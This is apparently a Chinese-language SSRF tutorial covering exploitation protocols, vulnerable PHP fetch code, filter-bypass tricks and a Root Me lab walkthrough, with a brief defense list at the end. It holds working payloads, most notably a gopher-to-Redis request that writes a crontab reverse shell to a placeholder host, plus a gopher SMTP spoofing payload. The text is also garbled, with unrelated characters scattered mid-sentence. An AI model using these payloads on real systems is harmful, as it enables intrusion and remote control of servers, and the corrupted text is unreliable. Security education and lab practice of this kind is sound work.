0x00 SSRF簡介
SSRF(Server-Side Request Forgery)指的是攻擊者在未能獲取服務(wù)器所有權(quán)限時速妖,利用服務(wù)器漏洞以服務(wù)器的身份發(fā)送一條構(gòu)造好的請求給服務(wù)器所在內(nèi)網(wǎng)高蜂。SSRF攻擊通常針對外部網(wǎng)絡(luò)無法直接訪問的內(nèi)部系統(tǒng)。
原理:
通過控制功能中的發(fā)起請求的服務(wù)來當(dāng)作跳板攻擊內(nèi)網(wǎng)中其他服務(wù)罕容。比如备恤,通過控制前臺的請求遠程地址加載的相應(yīng),來讓請求數(shù)據(jù)由遠程的URL域名修改為請求本地杀赢、或者內(nèi)網(wǎng)的IP地址以及服務(wù)烘跺,來造成內(nèi)網(wǎng)系統(tǒng)的攻擊。
危害:
SSRF可以對外網(wǎng)脂崔、服務(wù)器所在內(nèi)網(wǎng)滤淳、本地進行端口掃描,攻擊運行在內(nèi)網(wǎng)或本地的應(yīng)用砌左,或者利用File協(xié)議讀取本地文件脖咐。
內(nèi)網(wǎng)服務(wù)防御相對于外網(wǎng)服務(wù)一般較弱,甚至部分內(nèi)網(wǎng)服務(wù)為了運維方便并未對內(nèi)網(wǎng)的訪問設(shè)置權(quán)限驗證汇歹,所以存在SSRF時屁擅,通常會造成較大危害。
個人理解:
SSRF就是利用服務(wù)器發(fā)起請求(請求來自客戶端提交的)产弹,去請求一些服務(wù)器可以直接訪問的服務(wù)派歌。這個服務(wù)器相當(dāng)于是一個提線木偶,我們操作它去攻擊其他服務(wù)痰哨。
0x01 漏洞利用
利用:
- 掃描內(nèi)網(wǎng)開放服務(wù)
- 向內(nèi)部任意主機的任意端口發(fā)送payload來攻擊內(nèi)網(wǎng)服務(wù)(比如溢出)
- DOS攻擊(請求大文件胶果,始終保持連接KEEP-ALIVE-ALWAYS)
- 攻擊內(nèi)網(wǎng)的web應(yīng)用,主要是使用get參數(shù)就可以實現(xiàn)的攻擊(比如struts2斤斧,sqli等)
- 利用file早抠、gopher、dict協(xié)議讀取本地文件撬讽、執(zhí)行命令等
0x02 常見攻擊協(xié)議
Gopher協(xié)議:是Internet上一個非常有名的信息查找系統(tǒng)蕊连,它將Internet上的文件組織成某種索引,很方便地將用戶從Internet的一處帶到另一處游昼。
對目標(biāo)發(fā)起攻擊的主要協(xié)議gopher://xxxxxx:port/主體 主體部分需要進行url編碼
具體攻擊手法:利用 Gopher 協(xié)議拓展攻擊面
Dict協(xié)議:探測端口操作甘苍,以及版本信息例如:dict://127.0.0.1:6379/info
http://xxx.com/ssrf.php?url=dict://127.0.0.1:22
dict
協(xié)議也能攻擊redis不過不能換行,一次只能執(zhí)行一條命令
FTP協(xié)議:只能探測是否存在ftp烘豌,不能進行暴力破解
Http協(xié)議:用來探測是否存在ssrf
File協(xié)議:用來進行任意文件讀取
http://xxx.com/ssrf.php?url=file:///etc/passwd
等等
各個語言支持的協(xié)議:
0x03 漏洞具體
漏洞的尋找
1羊赵、社交分享功能:獲取超鏈接的標(biāo)題等內(nèi)容進行顯示 http://share.xxx.com/index.php?url=http://127.0.0.1
2、轉(zhuǎn)碼服務(wù):通過URL地址把原地址的網(wǎng)頁內(nèi)容調(diào)優(yōu)
3、在線翻譯:給網(wǎng)址翻譯對應(yīng)網(wǎng)頁的內(nèi)容
4昧捷、圖片加載/下載:例如富文本編輯器中的點擊下載圖片到本地;通過URL地址加載或下載圖片 http://image.xxx.com/image.php?image=http://127.0.0.1
5罐寨、圖片/文章收藏功能:主要其會取URL地址中title以及文本的內(nèi)容作為顯示以求一個好的用戶體驗 http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
6靡挥、云服務(wù)廠商:它會遠程執(zhí)行一些命令來判斷網(wǎng)站是否存活等,所以如果可以捕獲相應(yīng)的信息鸯绿,就可以進行SSRF測試
7跋破、網(wǎng)站采集,網(wǎng)站抓取的地方:一些網(wǎng)站會針對你輸入的URL進行一些信息采集工作
8瓶蝴、數(shù)據(jù)庫內(nèi)置功能:數(shù)據(jù)庫的比如mongodb的copyDatabase函數(shù)
9毒返、郵件系統(tǒng):比如接收郵件服務(wù)器地址
10、編碼處理舷手,屬性信息處理拧簸,文件處理:比如ffpmg,ImageMagick男窟,docx盆赤,pdf,xml處理器等
11歉眷、未公開的api實現(xiàn)以及其他擴展調(diào)用URL的功能:可以利用GOOGLE語法加上這些關(guān)鍵字去尋找SSRF漏洞
? 一些的URL的關(guān)鍵字:share,wap,url.link,src,source,target,u,3g,display,sourceURI,imageURL,domain...
12牺六、從遠程服務(wù)器請求資源(upload from url 如discuz!;import & expost rss feed 如web blog汗捡;使用xml引擎對象的地方 如wordpress xmlrpc.php)
漏洞的產(chǎn)生
1淑际、php file_get_contents:
<?php
if(isset($_POST['url'])){
$content=file_get_contents($_POST['url']);
$filename=''.rand().';img1.jpg';
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";
}
echo $img;
?>
這段代碼使用file_get_conctents函數(shù)從給用戶指定的url獲取圖片。然后把它用一個隨機文件名保存在硬盤上扇住,并展示給用戶春缕。
2、php fsockopen():
<?php
function GetFile($host,$port,$link){
$fp=fsockopen($host,intval($port),$errno,$errstr,30);
if(!$fp){
echo $errstr." (error number ".$errno.") \n";
}else{
$out = "GET ".$link." HTTP/1.1\r\n";
$out .= "Host: ".$host."\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp,$out);
while(!feof($fp)){
$contents.=fgets($fp,1024);
}
fclose($fp);
return $contents;
}
}
?>
這段代碼使用fsockopen函數(shù)實現(xiàn)獲取用戶指定url的數(shù)據(jù)台囱。這個函數(shù)會使用socket跟服務(wù)器建立tcp連接淡溯,傳輸原始數(shù)據(jù)。
3簿训、php curl_exec():
<?php
funciotn curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
使用curl請求
漏洞的驗證
1咱娶、因為SSRF漏洞是讓服務(wù)器發(fā)送請求的安全漏洞,所以我們就可以通過抓包分析發(fā)送的請求是否是由服務(wù)器發(fā)送的强品,從而來判斷是否存在ssrf漏洞
2膘侮、在頁面源碼中尋找訪問的資源地址,如果該資源地址類型為 www.baidu.com/xxx.php?image=
(地址)的就可能存在SSRF漏洞
3的榛、dnslog測試
各種payload
http://blog.safebuff.com/2016/07/03/SSRF-Tips/
0x04 漏洞繞過
1琼了、@
http://www.baidu.com@127.0.0.1
與 http://127.0.0.1
請求是相同的
2、攻擊本地
http://127.0.0.1:80
http://localhost:22
3、利用[::]
http://[::]:80
與 http://127.0.0.1
也有利用http://0000::1:80/
4雕薪、短地址
短地址縮減
5昧诱、特殊域名
http://127.0.0.1.xip.io/
http://www.owasp.org.127.0.0.1.xip.io/
6、利用DNS解析
在域名上設(shè)置A記錄所袁,指向127.0.0.1
7盏档、上傳利用
修改"type=file"為"type=url"
比如:
上傳圖片處修改上傳,將圖片文件修改為URL燥爷,即可能觸發(fā)SSRF
8蜈亩、利用Enclosed alphanumerics
利用Enclosed alphanumerics
???????.??? >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ? ? ? ? ? ? ? ? ? ?
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ?
(我沒試成功)
9、利用句號
127前翎。0稚配。0。1
=127.0.0.1
10港华、進制轉(zhuǎn)換
可以是十六進制道川,八進制等
http://127.0.0.1 >>> http://0177.0.0.1/
http://127.0.0.1 >>> http://2130706433/
http://192.168.0.1 >>> http://3232235521/
http://192.168.1.1 >>> http://3232235777/
11、特殊地址
http://0/
12苹丸、利用協(xié)議
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
13愤惰、利用tinyurl.com生成302跳轉(zhuǎn)地址
https://tinyurl.com
0x05 演練
Root Me的靶機:SSRF BOX
可以看到向服務(wù)器發(fā)送請求百度,服務(wù)器返回了百度的頁面
如何判斷是服務(wù)器的請求赘理,還是當(dāng)前客戶端的請求呢
我們可以在公網(wǎng)上監(jiān)聽一個端口宦言,去請求他,然后對比Ip判斷(自己的服務(wù)器打碼了)
可以看看還支持其他的什么協(xié)議
在打開目標(biāo)文件時候提示無法打開商模,應(yīng)該是權(quán)限不足的原因
結(jié)合burpsuite的爆破功能采用dict協(xié)議對目標(biāo)服務(wù)器端口進行掃描
根據(jù)返回的不同banner信息判斷存在哪些端口
目標(biāo)開放了6379端口奠旺,這是redis的端口,其默認配置存在未授權(quán)訪問的問題
可以利用未授權(quán)訪問然后向 crontab 寫入定時任務(wù)
payload
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/x.x.x.x/2233 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
#其中$62是公網(wǎng)ip加上去的長度施流,在執(zhí)行時要進行url編碼一次
成功利用
0x06 SSRF防御
1响疚、禁止跳轉(zhuǎn)
2、過濾返回信息
3瞪醋、統(tǒng)一錯誤信息
4忿晕、禁用不常用的協(xié)議,僅允許HTTP和HTTPS請求
5银受、限制請求端口
6践盼、對DNS Rebinding,考慮使用DNS緩存或者HOST白名單
參考文獻
【安全科普】SSRF攻擊實例解析
【紅日安全】Web安全Day4 - SSRF實戰(zhàn)攻防
SSRF in PHP
SSRF繞過方法總結(jié)